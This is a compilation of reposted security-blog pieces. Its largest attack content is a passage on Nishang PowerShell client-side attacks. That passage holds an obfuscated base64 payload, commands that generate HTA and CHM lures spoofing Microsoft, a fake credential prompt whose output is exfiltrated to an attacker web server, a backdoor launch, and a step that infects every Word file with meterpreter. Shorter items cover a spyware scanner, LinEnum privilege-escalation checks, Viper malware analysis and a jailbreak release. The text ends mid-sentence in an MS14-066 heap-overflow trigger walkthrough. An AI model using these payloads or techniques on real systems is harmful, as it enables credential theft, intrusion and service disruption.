SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcABWAFoAZABiADkAcwAyAEYASAAwADMANABQADkAQQBHAEgANgB3AEUAVABtAFEAOQBXADAAWABCAFoAbwBsAGEAKwBhAHQAVABvAEwAVQBUAFoAYwBaAGYAcABBAG8AcQBqAFkAcQBTADYANQBFAE4AYwBuAGEALwBmAGYAeABYAHAAbQAwADUARABEAHQAZwBEADIASQBFAHMAbAA3AHoAegBuADMAZwA1AEwANgB0AC8AZgBKADcAUABvAHkAbwBYAGQAWABIAC8ASgBMADgAcABxADgANgBYAFUANwB5ADQAcwAwAG4AVwAxADMAZQBjAEUASAB2AGMAKwBzAHkARgBoAHEAVwA2AGQAeABtAHYAYQBHAHEAMgA1AG4AVgAwAFgAcABoAHAASwBTAGgAMQB6AGMAMgBDAE0AWABCAG0AUwBXADgAUgB0AGUAawBMAHQATgB3AGEAcwB3AFAAVQB2AFQAbgBBADcAMgBhACsAbgB1AEwASQA0AEwAVgBwAFkARwBxAFQAWQBaAEoALwBIAEQAKwA4ADMAZgBiAEQAOQBKAGEAbABzAEIAbABXAGUATABwADkAMQBoACsAYQBiAEkATwBhAE4AOAArAE8AcAAvAHEARABrAHYAVwBNAGoAWgBZAGkAMQB1ADgAVQBGAE4AUABUAC8AagB2AE4AaABFAEYAVwBjAE4AVwBUAHkAawBuADIAdAB0AHkAbABpAHMARgBWAHoAcABWADgAcwAzAFkAUgBGAHUAbQBlAEIAUwB6AHMAZwBsAGcAbgBpAGIAaABwACsAYQBsAGoAWABiAEwARAA0AE8AWgBGAHQAKwBwAFEAWAAvAFQAMgBGAHMAMgBiAFoAawBYAEEAWQBRAHMANQBMAHYAVwBjAHUAQwA3AHAAOQBvAFgAbQBXAFkAcQA5ADYAYgBiAHEAZgBiADYAVwBkAGYAYgBtAGYAcgB2ADQAcQBMADMANQBKAGIAVQBWAEsAaABmAHcAVABKAEoAUwBNAEIARgBiAEgAaQBnAGkAVwBiAGIAQQBOAHEAUwBiADkAZAAvAHQARwBWAEMASQB2ADAAUABtADQAeQAyACsAcQBSAFUAUwBaAG0ANQBTADYAawBqAE8ARABLADIAeQBxAGoANABGAFcAUwAwAFMANABzAFMANwA0AHUASwBtAEIAYgAvAHYATABFADIAWABLADEASQB2ADMAdwB6AC8AbAA5ADkATwB0AGkALwB1AFgARABWADAARgByAFAAaQBiAFUATQBCADkAWgBJAEkAYgBBAEUANABQAFoAdQBEAHcAWQBnAGcAbgBzAHUAMgBLAHcAeAAwAEoAMQAwAC8AMABFAC8ARwBNAEwATABCADIAdwBqAE0AVABnAHcAdABRADIAVwAxAE4ANgBtAE8AawBRAHgAcwByAFoAQgAyAHMATAB0AEMAVABpAGkAbgB3AHgATwBDAEUAcwBlAFUAZwBQADYANABrAE8AQQBiAGMAbwBrAEkAYgBBAFoAYwBQAGcAdwBaAG8AUABUAHcAaQBLAEQAMgBCAEIAdABWAEYAUQBJAEkAegBGAGgAVQBoAEEAegBNAEEAdABNAFcAVQBNAHIAdgArAFQASQBGAFQASQBqAGkAVQBsADEARgBOADQAdwBsADAAZgBBAG0ATQAyAEIAcQBXAEYAQQBBAGsAdwB1AEcAUABGAE4AWgBHAHkAYwBkAE4AVwBvAEIATQB0AGcAQwBKAEEAZQBtAGMAaQB6AFcAMgBWAFkAWQBUAHgAWABpAHgAbQBrAGgAagBQAHMAawBsAHgAKwBpAHcALwBkAHEAQQBEAFkAQgBnAG8AZABFAHMAQwBuAEsARABGAEIANwBjAEUAcABOAG0AUgBuAEYAbwBPAG0AbQBrAFIATQBOAHUAQgB5AGsAQQBnAHoAVgBVAEcAUABFADkAdQBVAGgAMgBBAEUANwBWADgAeAAvAFIANQA5AGwAUQAyAHQAQQAyAHQAdQB0ADUAeABKAEQAYwBPAGIAaQBRAEgANwBDADIAcwBqAGEAdQB0AHAARgB1ADMAcQByAEgAUABCACsAcAB3AEUAegBSAFgAMQBCAEEAbQBRADYAbgBhAFcAcgBxAFEASgBnACsAegBoAGcAVwAxAG0AdQBjAFMAbABuADAAbwBnAGwALwB2AGEAUQBHAFEAegA1AEgAbQAyAEkAYgBvAGcANABmAEoAbAB3AEoAagBxAEYAVwBrAHIAZQBWAEUAOQBwADMAawB0AFMAQgBpADYAawBoAGMAVgAyAG0AeAB0AEMARQBFAHUAQgAvAHQAbgBRADkAcwA2AEgAYwAwAE8ASwBZADIAaABuAHEAcgB4AGMAVQBnAGgAWQBpAGwAOAByAHUASAAxAHMAWQBBAGcAWAByAGcANABrAHEAQQB1AHIAUAB4AEoAYwBPAE0ALwBWAHUAbQBqAGsASQBIAGcARABuAEEAYwBsAFAAWgBGAHMAeQBUAG0ASABpAHMAWABaAGkANgBOAFkAcABXAEEAdgBpAEUAUQBPADgANwBzAG4AYwBPAHkAUQBoAGMASwBRAGwAMwB0AFIAMgBOADEAZwA2AEkARABlAFQAcABZAGwAUwBxAHgAbABkAFUAQgBHAHMAaABuAGgAegB2AFIAUQBUAGsAUQA5ADIAbQBmAEgAQwBPADkATAArAFUAaABSAGcAcgByADkAcQA0AEkAUgA5AGYATAB5AG8AaABqAHYAbABpAEcAawB5AFoATAAzAG0ANQBYAGsAdABPAEkAQQA5AEsANgBHAGgAYgBBAFQAbwBkAFAAMABNAEgAOABnAG0AcwA0AFkAYQBDAHEAWQBPAHgAdABRAGkASABFAEkAMABmAFIASQBRAHYATwBDADEAQQAzAGYANgBlAEwARgByAGkAdABZAG8AQgBQAHYAaABkAHoAKwAvAG0AZgA1AHoARgBUACsAZgBuAHYANAB2AHYAYQAvAE0AcgBQADUAMgAyAGYAcgAxAE0AWQB6AGsAUAArAFgAbwAxAG4AYwA3AEQAeAAwAEcAVAA3AHYAUQBkAHkAegA3AHgATgBTAGIATQBOAEkAZQBRAFkAWABIAEgAOQBBADYAQgBJAHMAawBMAE0AdQBqAGYATAA5ADUAZABVADcAcQA3AGYASwBpAFMAMQArAGEAcgA1AHAAUwBNAFUAawBaADAAaQBLAFAAeABzAEcAVgA0AGMAagBJAGsAMwA3AG8AZABjAGkAUgB6AC8AegBPAHoAcgBQADkAbQBWAG8ATgBHAFMASwBlAEwAWABLAHoAYQAxAG0AQgA0ADAAZwBRAGEARwBxADAAZgBpADIAVgB6AGIAMgBXAFEAOABaAEIAOABKADkAYwBWAEgAMQAxAFYAYQBkAHIAdAAvAEgAUAA4AC8AegBPAGQAdABuADQARABSAGEAaABHAGcAOQBPAEEAZQBSADMANQB3ADMAcQBUAHMAcwBGAFkAUABBAHYAWgBaAGMAcgBZAGoAawBDAEsARQBQAEoAZgAnACkAKQApACkALAAgAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALAAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA" In case, someone wants to run 64-bit shellcode, just remove the if condition from Java source. It has been marked with a comment. Below options are hardcoded in Out-Java for certificate creation and JAR signing, change those for customization: $KeystoreAlias = "SignApplet" $KeyStore = "PSKeystore" $StorePass = "PSKeystorePass" $KeyPass = "PSKeyPass" $DName = "cn=Windows Update, ou=Microsoft Inc, o=Microsoft Inc, c=US" These are deliberately not asked for in the PowerShell parameters to keep the usage simple. BTW, the latest Java version shows really ugly warning to the users, so using a valid certificate would increase chances of successful attacks. Still, I have not seen many targets who pay attention to such warnings. Also, the HTML generated using Out-Java loads a live Microsoft page in an attempt to make it look authentic. The better option is to clone a page and use it but that has not been done. If I feel like, that would be added in a future release. Sadly, I was unable to achieve the PowerShell execution from applet for my DeepSec talk. Anyway, now it works. References for this have been taken from David Kennedy’s Social Engineering Toolkit. Also, what got md working again on this was Piotr Marszalik’s Ps1encode Out-HTA Out-HTA uses HTML application (HTA) to achieve PowerShell command and script execution. It generates HTA and VBS files which need to be hosted on a web server and a target needs to click/open the URL. Like the other client side attacks we have been discussing, Out-HTA accepts as a payload – commands, encoded scripts and download-execute scripts. A quick example is shown below: PS C:\nishang> Out-HTA -Payload "powershell -ExecutionPolicy Bypass -noprofile -c Get-Service" Out-HTA also handles large encoded scripts really well, so that would be the best to use in this case. The flip side of using HTA is the loud warnings Internet explorer shows to the user. If the user sees FireFox, it appears to be similar to downloading an executable. Out-HTA loads live page of Windows Defender from Microsoft’s website in an attempt to trick a user. Out-CHM Out-CHM creates Compiled HTML Help file (CHM) which could execute PowerShell scripts and commands on the target. We need hhc.exe (HTML Help Workshop) on the attacker’s machine. HTML Help Workshop is a free Microsoft Tool and could be downloaded from below link: Download HTML Help Workshop and Documentation from Official Microsoft Download Center A quick example of using Out-CHM is below: PS C:\nishang> Out-CHM –PayloadURL http://192.168.254.1/ps_payload64.ps1 –HHCPath “C:\Program Files (x86)\HTML Help Workshop” Out-CHM uses files from tcp/ip help file in Windows to make the file look authentic. We could always add more html files to make it look like a real document. Larger scripts, if used encoded, may result in problems. Out-CHM is based on this tweet by @ithurricanept https://twitter.com/ithurricanept/status/534993743196090368 Common Features and shortcomings - All scripts run PowerShell in a new process, so closing the attack vector, be it an attachment or a link, would have no effect on the script being executed. - Each script accepts encoded scripts, commands and one line download-execute. - The attacks are not very hard to detect manually. More needs to be done on that part. Better/Complex Attacks Lets see some more attacks which take us beyond just meterpreter. These are also on the slides of my talk but lets see some here too: Exfiltration of credentials from a target: PS C:\nishang> Out-Shortcut -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments "Credentials | Do-Exfiltration –ExfilOption Webserver -URL http://192.168.254.183/test/data.php" Above command calls the Credentials function from Powerpreter which shows a password prompt to target user. This prompt doesn’t go away till valid local or domain credentials are entered. The output of Credentials function is piped to Do-Exfiltration which exfiltrates those to a web server in encoded format. The web server must log POST requests. The logs from the web server could be decoded using Invoke-Decode;. Running a backdoor with new communications channel: PS C:\nishang> Out-Excel -PayloadURL “http://192.168.254.1/Gupt-Backdoor.ps1” –Arguments "Gupt-backdoor -MagicString op3n –Verbose” Above command runs the Gupt Backdoor on the target. Executing other client side attacks: PS C:\nishang> Out-Java -PayloadURL “http://192.168.254.1/Out-Word.ps1” –Arguments “Out-Word -PayloadURL http://192.168.254.1/meterpreter_payload.ps1 -WordFileDir C:\ -Recurse” Above command, uses Out-Java to execute Out-Word on a target. Out-Word then infects all Word files in C:\ recursively. Such files when opened, would execute meterpreter PowerShell script. There are endless possibilities for such and even better attacks. All the above discussed code has been committed to Nishang under the Client directory. You could grab it from here: https://github.com/samratashok/nishang Again, the slides for my DeepSec talks could be found here. Hope you enjoy this and the code and the post turns out to be useful. Posted by Nikhil SamratAshok Mittal at 11:30 PM Sursa: Lab of a Penetration Tester: Using PowerShell for Client Side Attacks

[h=1]Detekt - scans your Windows computer for traces of known surveillance spyware [/h] Dump3R on 12:33 PM No Comment Detekt is a free tool that scans your Windows computer for traces of FinFisher and Hacking Team RCS, commercial surveillance spyware that has been identified to be also used to target and monitor human rights defenders and journalists around the world. In recent years we have witnessed a huge growth in the adoption and trade in communication surveillance technologies. Such spyware provides the ability to read personal emails, listen-in skype conversations or even remotely turn on a computers camera and microphone without its owner knowing about it. Some of this software is widely available on the Internet, while some more sophisticated alternatives are made and sold by private companies based in industrialized countries to state law enforcement and intelligence agencies in countries across the world. There is little to no regulation currently in place to safeguard against these technologies being sold or used by repressive governments or others who are likely to use them for serious human rights violations and abuses. Download Detekt Sursa: Detekt - scans your Windows computer for traces of known surveillance spyware | KitPloit - PenTest Tools for your Security Arsenal!

[h=1]LinEnum - Local Linux Enumeration & Privilege Escalation Checks [/h] Dump3R on 6:14 PM No Comment LinEnum will automate many of the checks that I’ve documented in the Local Linux Enumeration & Privilege Escalation Cheatsheet. It’s a very basic shell script that performs over 65 checks, getting anything from kernel information to locating possible escalation points such as potentially useful SUID/GUID files and Sudo/rhost mis-configurations and more. An additional ‘extra’ feature is that the script will also use a provided keyword to search through *.conf and *.log files. Any matches will be displayed along with the full file path and line number on which the keyword was identified. After the scan has completed (please be aware that it make take some time) you’ll be presented with (possibly quite extensive) output, to which any key findings will be highlighted in yellow with everything else documented under the relevant headings. Below is a high-level summary of the checks/tasks performed by LinEnum: Kernel and distribution release details System Information: Hostname Networking details: Current IP Default route details DNS server information [*] User Information: Current user details Last logged on users Llist all users including uid/gid information List root accounts Extract full details for ‘default’ uid’s such as 0, 1000, 1001 etc Attempt to read restricted files i.e. /etc/shadow List current users history files (i.e .bash_history, .nano_history etc.) [*] Privileged access: Determine if /etc/sudoers is accessible Determine if the current user has Sudo access without a password Are known ‘good’ breakout binaries available via Sudo (i.e. nmap, vim etc.) Is root’s home directory accessible List permissions for /home/ [*] Environmental: Display current $PATH [*] Jobs/Tasks: List all cron jobs Locate all world-writable cron jobs Locate cron jobs owned by other users of the system [*] Services: List network connections (TCP & UDP) List running processes Lookup and list process binaries and associated permissions List inetd.conf/xined.conf contents and associated binary file permissions List init.d binary permissions [*] Version Information (of the following): Sudo MYSQL Postgres Apache [*] Default/Weak Credentials: Checks for default/weak Postgres accounts Checks for default root/root access to local MYSQL services [*] Searches: Locate all SUID/GUID files Locate all world-writable SUID/GUID files Locate all SUID/GUID files owned by root Locate ‘interesting’ SUID/GUID files (i.e. nmap, vim etc) List all world-writable files Find/list all accessible *.plan files and display contents Find/list all accesible *.rhosts files and display contents Show NFS server details Locate *.conf and *.log files containing keyword supplied at script runtime List all *.conf files located in /etc Locate mail Some of the above commands are privileged/and or the related task may be nonexistent and will therefore most likely fail. The user shouldn’t be alerted to failed results, just the output from successful commands should be displayed. Download LinEnum Sursa: LinEnum - Local Linux Enumeration & Privilege Escalation Checks | KitPloit - PenTest Tools for your Security Arsenal!

Extract PDF streams and decompress SWF objects Viper is intended to be used to analyze a wide variety of file types. To achieve this, we're working on introducing and expanding modules to dissect as many file formats as possible. In this blog post we'll have a glance over two modules used to parse and manipulate PDF documents and Flash objects. You can view an example use of such modules in the following cast analyzing a CVE-2011-0611 document exploit: As you can see, we first search for all stored PDF documents, we open the first one and retrieve some basic details. At 00:21 we launch the pdf module to retrieve some information ont he structure of the document: viper CVE-2011-0611_2.pdf > pdf id [*] General Info: +---------------------+------------------------+ | Desc | Value | +---------------------+------------------------+ | PDF Header | %PDF-1.7 | | Total Entropy | 5.145172 | | Entropy In Streams | 7.266171 | | Entropy Out Streams | 4.852048 | | Count %% EOF | 5 | | Data After EOF | 0 | | /LastModified | D:20100310101134+08'00 | | /ModDate | D:20100707144530+08'00 | | /CreationDate | D:20100712164212+08'00 | | /CreationDate | D:20110418152020+08'00 | | /LastModified | D:20110418152041+08'00 | +---------------------+------------------------+ [*] Streams & Count: +----------------+-------+ | Name | Count | +----------------+-------+ | obj | 37 | | endobj | 37 | | stream | 24 | | endstream | 24 | | xref | 1 | | trailer | 1 | | startxref | 5 | | /Page | 3 | | /Encrypt | 0 | | /ObjStm | 8 | | /JS | 0 | | /JavaScript | 0 | | /AA | 0 | | /OpenAction | 1 | | /AcroForm | 0 | | /JBIG2Decode | 0 | | /RichMedia | 0 | | /Launch | 0 | | /EmbeddedFile | 0 | | /XFA | 0 | | /Colors > 2^24 | 0 | +----------------+-------+ Nothing particularly revealing here, but we can see at least that there are no JavaScript objects, so that would likely rule out vulnerabilities in Adobe Reader itself. At 00:28 we retrieve the list of streams in the PDF document: viper CVE-2011-0611_2.pdf > pdf streams +----+----+--------+-------+------------------------------------------------------------------------------------------------------+ | # | ID | Offset | Size | Type | +----+----+--------+-------+------------------------------------------------------------------------------------------------------+ | 1 | 28 | 116 | 313 | data | | 2 | 1 | 10702 | 177 | ASCII text, with no line terminators | | 3 | 2 | 10880 | 11480 | Macromedia Flash data (compressed), version 9 | | 4 | 3 | 22361 | 3578 | UTF-8 Unicode text | | 5 | 4 | 25940 | 326 | ASCII text, with very long lines, with no line terminators | | 6 | 5 | 26267 | 243 | data | | 7 | 6 | 26511 | 284 | data | | 8 | 23 | 1072 | 510 | ASCII text | | 9 | 24 | 1583 | 8121 | AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\ | | 10 | 25 | 9705 | 61 | ASCII text | | 11 | 26 | 9767 | 706 | data | | 12 | 27 | 10474 | 227 | empty | | 13 | 50 | 463 | 179 | data | | 14 | 2 | 403837 | 111 | ASCII text | | 15 | 25 | 378733 | 305 | data | | 16 | 1 | 1492 | 177 | ASCII text, with no line terminators | | 17 | 2 | 1670 | 3578 | UTF-8 Unicode text | | 18 | 3 | 5249 | 327 | ASCII text, with very long lines, with no line terminators | | 19 | 4 | 5577 | 241 | data | | 20 | 5 | 5819 | 281 | data | | 21 | 22 | 951 | 61 | ASCII text | | 22 | 23 | 1013 | 250 | ASCII text, with no line terminators | | 23 | 24 | 1264 | 227 | empty | | 24 | 35 | 452 | 142 | X11 SNF font data, MSB first | +----+----+--------+-------+------------------------------------------------------------------------------------------------------+ As you can see, there is a compressed Flash object at offset 10702, which in this case is the payload that delivers the exploit to Flash Player instead. We can then open that specific stream using the command pdf streams --open 3. We'll then have a Viper session open on the specific stream which has been dumped and automatically opened: viper 2368a8f55ee78d844896f05f94866b07_3_pdf_stream.bin > info +--------+----------------------------------------------------------------------------------------------------------------------------------+ | Key | Value | +--------+----------------------------------------------------------------------------------------------------------------------------------+ | Name | 2368a8f55ee78d844896f05f94866b07_3_pdf_stream.bin | | Tags | | | Path | /tmp/2368a8f55ee78d844896f05f94866b07_3_pdf_stream.bin | | Size | 11244 | | Type | Macromedia Flash data (compressed), version 9 | | Mime | application/x-shockwave-flash | | MD5 | 7e9e040ee9bd1ab5aeb953a01fd1c689 | | SHA1 | 002865adf42fda4bae04d0a29453c6c87e788989 | | SHA256 | a47020cc3bb129442c6cebd5793098b76f33531ed5312dadc90026f54a78804c | | SHA512 | a8b13ebb99fce3d8746c6c60ab40f245a685d098a3aacacbe7305ed60ab2a3c97f2cbed4138043b90a37c082857bf1c5f5adce4113b73537d864d995db2fdf7f | | SSdeep | 192:9Kb8rzjI44nrHmffVmErxVUbW2gqd2ELLOCbpLpGA9bkLhNUPdqb9sbbFvkRg+KF:9KbC/I446fIE9VnhcDB9yUJvkq+KSYvD | | CRC32 | 63A7555E | +--------+----------------------------------------------------------------------------------------------------------------------------------+ From the info command we can see that we do in fact have a session open on a Flash object, which however is compressed. We can try to decompress and extract the clear SWF Flash object. This is shown at 00:54 of the screen cast: viper 2368a8f55ee78d844896f05f94866b07_3_pdf_stream.bin > swf decompress --dump [*] The opened file appears to be compressed with Zlib [...] [*] Flash object dumped at /tmp/7dc0a1f1e35ea71eaeafec897afa8dfe.swf [*] Session opened on /tmp/7dc0a1f1e35ea71eaeafec897afa8dfe.swf viper 7dc0a1f1e35ea71eaeafec897afa8dfe.swf > Now you can save the decompressed object and further analyze it perhaps by trying to decompile it. This is just a very brief example of the versatility and capability of Viper through the use of two of the modules currently available. Both the PDF and the SWF modules are very primitive and they need a lot of work in order to expand them and provide additional analysis functionality. published on 2014-08-27 10:00:00 by nex Sursa: Viper Blog

Taig iOS 8.1.1 Jailbreak Released By Taimur Asad | November 29th, 2014 New iOS 8.1.1 jailbreak is out! TaiG has released a jailbreak for both iOS 8.1.1 and iOS 8.2 beta running on compatible iPhone, iPad and iPod touch. MuscleNerd of Team Evad3rs took to Twitter to confirm the release. Looks like TaiG just released a jailbreak for 8.1.1 (and 8.0,8.1,8.2beta). Best to wait a few days just in case. We have tested and can confirm that TaiG jailbreak does indeed work. It can jailbreak iOS 8.0-8.1, iOS 8.1.1 and iOS 8.2 beta on the following devices. iPhone 6 iPhone 6 Plus iPhone 5s iPhone 5c iPhone 5 iPhone 4s iPad (2, 3, 4, Air, Air 2, mini 1, mini 2, mini 3) iPod touch 5 TaiG is a Chinese based outfit which was part of first iOS 7 jailbreak from Evad3rs released on Christmas eve last year. TaiG is currently available for Windows only. No word on when or if the Mac release will be available. You can download Taig iOS 8.1.1 jailbreak from Taig.com or directly from here. It is also important to note that Apple is still signing the iOS 8.1 firmware. If you want to jailbreak using Pangu, you can do so by downgrading from 8.1.1 to iOS 8.1 and then using Pangu to jailbreak. We will update this post as more details unfolds on this new jailbreak from TaiG. Stay tuned. Update x1: Our jailbreak tutorial is up: How To Jailbreak iOS 8.1.1 Untethered With Taig [Tutorial] Update x2: Mac user? No problem. While Taig is currently available for Windows only, we have a workaround through which you can use it on your Mac to jailbreak your iOS 8.1.1 devices: How To Jailbreak iOS 8.1.1 On Mac OS X Using Taig For Windows You may also like to check out: Download iOS 8.1.1 Final For iPhone, iPad, iPod touch [Direct Download Links] Jailbreak iOS 8.1.1 With Taig On iPhone 6, 6 Plus, 5s, iPad, More [updated] Jailbreak iOS 8 And iOS 8.1 With Pangu On iPhone 6, 6 Plus, 5s, iPad, More [updated] You can follow us on Twitter, add us to your circle on Google+ or like our Facebook page to keep yourself updated on all the latest from Microsoft, Google, Apple and the web. Sursa: Taig iOS 8.1.1 Jailbreak Released | Redmond Pie

Exploiting MS14-066 / CVE-2014-6321 (aka “Winshock”) Written by:Mike Czumak Written on:November 29, 2014 Comments Add One2 Introduction I think enough time has passed now to provide a little more detail on how to exploit MS14-066 schannel vulnerability (aka “Winshock”). In this post I won’t be providing a complete PoC exploit, but I will delve into the details on exactly how to trigger the heap overflow along with some example modifications to OpenSSL so you can replicate the issue yourself. This vulnerability was announced while I was on vacation so I didn’t have a chance to analyze it right away. Lucky for me, the research team at BeyondTrust posted this concise write-up, keying in on the vulnerable code: Triggering MS14-066 | BeyondTrust. When I first looked at the specifics of the vulnerability, I admittedly discounted it’s severity solely for the fact that it seemed necessary to have some form of mutual certificate-based authentication to trigger — still a big deal but not as widespread as I first imagined (or so I thought). Then, a couple of days later, Malware Tech posted this gem: How MS14-066 (CVE-2014-6321) is More Serious Than First Thought | MalwareTech. Wow…triggering the exploit on web servers even if they were set to ignore certificates definitely renewed my interest. @MalwareTechBlog subsequently released this nice write-up with additional details, but by that time I was already deep into examining the exploit (though it’s still worth a read if you haven’t already): MS14-066 In Depth Analysis | MalwareTech. If you’ve already had a chance to read these sources, please bear with me, because for the sake of completeness, I will be repeating some of the information. First, let’s take a closer look at the vulnerable function… schannel!DecodeSigAndReverse Here is the disassembly for the pertinent portions of the DecodeSigAndReverse function (found in schannel.dll) which is responsible for decoding the encoded certificate signature. Of interest to us are the calls to CryptDecodeObject the the two subsequent calls to memcpy (found in the lower left yellow box), which is what ultimately triggers this vulnerability. I’ll get into more details but first it’s important to note that to trigger the vulnerable memcpy, we need to somehow force the server to verify a client-provided ECC certificate (as indicated by the cmp ebx, 2Fh instruction highlighted below). Most web servers will ignore a submitted client certificate (unless certificate authentication is required). However, as @MalwareTechBlog pointed out, vulnerable IIS servers will actually process a certificate that is forcefully presented regardless of the configured SSL settings. I’ll be demonstrating this vulnerability only for IIS on port 443, though you may be able to replicate similar results for RDP. The Setup The first thing you’ll need to do to trigger this exploit is configure IIS SSL settings (I used a Win 7 box) as follows: Generate a self-signed certificate (using OpenSSL), upload to your Windows box and bind it to your site: Now generate an EC cert/key pair to use on your “attacking” machine. Next you’ll need to download the OpenSSL source. For my test setup I used version 1.0.1j on a Kali box. Since you’re probably going to be modifying and recompiling many times, you may want to use the .configure script to permanently set any desired build variables (such as install location). Once you’ve got your web server configured, your client cert/key generated, and openSSL source downloaded, it’s time to make some modifications, specifically to s3_clnt.c. First, we need to force the sending of our client certificate which can be done as follows: Notice I’ve altered the case statement logic to force a call to ssl3_send_client_certificate. Next you’ll need to force certificate verification, which can be done with the following modification to make a call to ssl3_send_client_verify: Connect a remote kernel debugger to your test IIS box and set a breakpoint on schannel!DecodeSigAndReverse. Then connect via the modified OpenSSL s_client and you should trigger your breakpoint: Once you’ve confirmed you can enter the vulnerable function, it’s time to delve into the details to understand how to exploit it. A Closer Look If you refer back to the disassembly of DecodeSigAndReverse, one of the the initial things to happen is the first of two calls to CryptDecodeObject. This first call sets pvStructInfo to null to determine the size of the buffer needed to hold the decoded signature for proper memory allocation (which is handled by the subsequent call to SPExternalAlloc). The second call to CryptDecodeObject is the one of interest. Testing this with an unmodified EC cert and key pair you should see something similar to the following for pcbStructInfo and pvStructInfo: You can see before the call that the designated size is 50h and the pvStructInfo structure is 0’d out and ready to receive the decoded signature. cbEncoded holds the size of the encoded signature, which in this case is 46h. The encoded signature looks as follows: * Note: in the above pic, ebp+0ch shows the size of the encoded signature (46h) and the memory at location 002dc57b holds the encoded signature. When the second CryptDecodeObject function returns, pvStructInfo now holds the decoded signature: Now we can shift our attention to the two memcpy functions that follow. The first memcpy will copy the number of bytes of the decoded signature designated in [esi] (in this case 20h or 32d) to a designated buffer (Dst). In the screenshot below, you can see that the contents of this buffer after the call to memcpy contain the first 32 bytes of the decoded signature returned by CryptDecodeObject. Similarly, the second memcpy copies the remaining 32 bytes of the decoded signature to the adjacent reserved space in memory (Dst). It’s the second memcpy function that is vulnerable to a heap overflow and will be the focus of our attention. To understand why it’s vulnerable to an overflow condition, we need to see how the destination buffer (Dst) is allocated which actually happens in the CheckClientVerifyMessage(). Notice in the third block below (before the call to DecodeSigAndReverse) is the call to SPExternalAlloc, which reserves the memory (Dst) where our decoded signature will be copied via the two calls to memcpy shown previously. You’ll recall each of those calls to memcpy copied 32 bytes (20h) of the decoded signature to adjacent portions of memory to fill a total of 40h bytes. This 40h bytes is reserved by SPExternalAlloc by taking the total key size (in this case 256 bits), dividing it by 8 (to convert to bytes) and doubling it (256 / 8 = 32 * 2 = 64d or 40 h). The dangerous assumption here is that the decoded signature will always be twice the size of the key. We’re about to see why that’s not true. Modifying The Encoded Signature The first thing we want to do is have some control over the size of the encoded signature represented by cbEncoded. If you refer to the call to CheckClientVerifyMessage(), you’ll notice that cbEncoded is passed as a parameter, which means we need to back up even further to the function DigestCertVerify(). We can see at location 0xXXXX98CE of DigestCertVerify that cbEncoded is located at [esi+1]. It turns out [esi] merely points to the start of the encoded signature structure which looks like this: Notice [esi+1] holds the value of cbEncoded (47h). The bytes that follow make up the encoded signature that will eventually be passed to CrypteDecodeObject() within DecodeSigAndReverse(). Here is a look at that call so you can see they are identical: The structure that holds our encoded signature is defined on MSDN as follows: For the purpose of this demo, I’ll call this structure sig. We’ve identified the total size of sig by the byte located at sig[1]. Structure members r and s are decoded and copied via the two memcpy operations. What’s even more interesting is that two other bytes of sig (which is under our control) dictate the size of r and s used in each memcpy operation. This means we have control over how many bytes are written via each memcpy and can use that to overwrite the reserved heap buffer. In addition, other than a few required byte values, the majority of the encoded signature is irrelevant, meaning we can inject any values we wish. In addition, submitting an invalid encoded signature to CryptDecodeObject doesn’t result in an error. Instead, it simply returns the invalid encoded signature that we passed it and that data is subsequently written to the heap via the vulnerable memcpy functions. This means we can predict the subsequent return values that will be passed to the vulnerable memcpy functions and written via the heap overflow. From my brief testing, I identified the following required values for sig: sig[1] = cbEncoded (total size of sig); my testing indicates that max size is \x81 sig[2] = \x30; required (leave unchanged) sig[3] = (sig[1] -1); max size is \x7f sig[4] = \x02; appears to represent data type that follows sig[5] = size of r or memcpy 1; minimum value is 1 sig[6] = any single byte value such as \x00 sig[7] = \x02; appears to represent data type that follows sig[8] = sig[1] – 7 = \x7a sig[9]…sig[x] = any arbitrary values for heap oveflow Triggering the Exploit So, how can we influence the encoded signature value? Rather than changing the content of the certificate, we can modify the encoded signature directly in OpenSSL via the ssl3_send_client_verify function. A couple things to note about the above modified signature. The first memcpy is represented by the three bytes at psig[2] – psig[4] (\x02\x01\x00). Again, I believe the first byte to represent the data type, the second byte is the size for memcpy, and the third byte is the content (src) to write. A single byte of \x00 will result in the first memcpy writing 32 null bytes to the first half of the reserved 64 bytes. The next 32 bytes as well as up to 90 additional bytes will be consumed by what follows psig[7] and psig[8]. This is what results in the heap overflow. For purposes of illustration, notice I changed the total size of the signature to a much larger value of 15,500. Although CryptDecodeObject limits the size of the total signature it will process (again, my testing indicated the limit is \x81), DecodeSigAndReverse accepts much larger values for the encoded signature (pbEncoded) which means arbitrary data can be written to memory before it’s processed by CryptDecodeObject Note: it appears that DecodeSigAndReverse properly allocates memory for the encoded signature and none of my tests resulted in an overflow condition as a result submitting a large signature; however, being able to write 10,000+ bytes of arbitrary data may come in handy. You can see an example of this below: Following this through to the memcpy functions, the resulting heap overflow looks as follows: Not surprisingly, this overflow results in an Access Violation (yours may vary). One thing to note about this basic demonstration is that the heap overflow may not be triggered immediately nor will the access violation caused by this simple demo be consistent. I found you can typically trigger it at-will by establishing another (valid) connection via an unmodified version of OpenSSL s_client. Here’s a quick 30 second video demonstrating what it looks like on the target machine. As I said earlier, I won’t be providing a full working exploit PoC at this time nor will I be uploading my modified version of OpenSSL. That said, the information in this post should be more than enough to understand how this vulnerability can be exploited (though reliability will be a factor) and you may think of additional methods of exploitation. Regardless, this simple demo is still enough to interrupt IIS services and reboot the target machine so please do not test it against any servers unless you have explicit permission to do so! Conclusion To recap, the second memcpy found in schannel!DecodeSigAndReverse is vulnerable to a heap 